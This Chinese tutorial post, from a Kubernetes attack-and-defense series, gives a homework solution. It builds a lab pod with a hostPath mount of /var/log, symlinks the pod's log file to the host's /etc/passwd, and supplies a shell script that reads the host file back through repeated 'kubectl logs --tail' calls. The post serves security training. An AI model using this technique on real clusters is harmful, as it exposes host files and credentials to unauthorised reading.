iT邦幫忙

2023 iThome 鐵人賽

DAY 25
0
影片教學

怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了系列 第 33

Day27 - 作業3-1 解答 - 撰寫腳本讀取 kubectl logs 的資訊

  • 分享至 

  • xImage
  •  

Yes

  • 題目 : 將攻擊手法從理論轉換為實務可用是一個相當重要的階段,畢竟理論再好,實務上打不出來就等於沒有對吧。 請依照這個漏洞原理,透過程式語言(ex:python、shell等等) 做出一個可以利用這個漏洞讀取檔案內容的小程式,這個程式將會在這次期中考中利用到,所以請各位務必認真練習。

  • 題目環境建置 : (請自行考慮是否需要 minikube delete && minikube start)

kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  namespace: default
  name: list-and-logs
rules:
- apiGroups: [""]
  resources: ["pods", "pods/log"]
  verbs: ["get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: practice-default-rolebinding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: list-and-logs
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
---
apiVersion: v1
kind: Pod
metadata:
  name: target-pod
spec:
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    volumeMounts:
    - name: logs
      mountPath: /var/log/host
    ports:
    - containerPort: 80
  volumes:
  - name: logs
    hostPath:
      path: /var/log/
      type: Directory
  • 接下來綁好 ln 要連接的檔案,這邊以 /etc/passwd 為例
kubectl exec -it target-pod -- bash ;
rm /var/log/host/pods/default_target-pod_8b514c52-9fef-44c8-98d3-9b9f6bc92b96/target-pod/0.log ;
ln -s /etc/passwd /var/log/host/pods/default_target-pod_8b514c52-9fef-44c8-98d3-9b9f6bc92b96/target-pod/0.log ;
  • 在 pod 中下載 kubectl 進行特性測試
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" ;
install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl ; 

kubectl logs target-pod --tail=-2 ;
kubectl logs target-pod --tail=-1 ;
kubectl logs target-pod --tail=1 ;
kubectl logs target-pod --tail=49 ;
kubectl logs target-pod --tail=50 ;
  • 我們可以藉由上述的測試歸納如下 :
  1. tail 帶入的數值必須大於 -1
  2. 數值 n 代表倒數第 n 比,比方說 1 就是最後一筆,2就是倒數第二筆
  3. 當 n 超過檔案行數的時候,會回傳第1筆的內容。
  • 也因此程式邏輯設計如下 :

    • 參數抽取部分針對 pod name 以及讀取的 index 數字做為輸入參數。
    • 從 index 開始遞減往回抓,如果發現數值有變化代表開始進入檔案內容的區域。
    • 中間讀取的過程中利用 awk 將 " " 中間的資料讀取出來,並且寫入檔案。
    • 當 index 扣到 0 的時候代表到底了,則程式可以停止。
  • 解答 : read_file.sh

    call_kubectl_logs() {
        echo `kubectl logs $name --tail=$1  | awk -F '"' '{print $2}' | awk -F '\' '{print $1}'`
    }
    
    rm -f output.txt 
    
    name=$1
    index=$2
    echo "pod name is $name and index is $index..."
    
    
    head_str=$(call_kubectl_logs $index)
    echo $head_str
    
    index=$(($index-1))
    next_str=$(call_kubectl_logs $index)
    
    while [ "$head_str" == "$next_str" ] ;
    do
        echo "$index equals"
        index=$(($index-1))
        next_str=$(call_kubectl_logs $index)
    done
    
    echo $head_str >> output.txt
    
    while [ $index -gt 0 ] ;
    do
        next_str=$(call_kubectl_logs $index)
        echo $next_str
        echo $next_str >> output.txt
        index=$(($index-1))
    done
    
  • 用法 :

    bash read_file.sh target-pod 50 ;
    bash read_file.sh target-pod 29 ;
    cat output.txt ;
    

上一篇
Day27 - (防禦) Container Seccomp (Secure Computing) 介紹
下一篇
Day27 - 作業3-2解答 - 讀取 k8s 金鑰檔案進行簽發高權限憑證
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言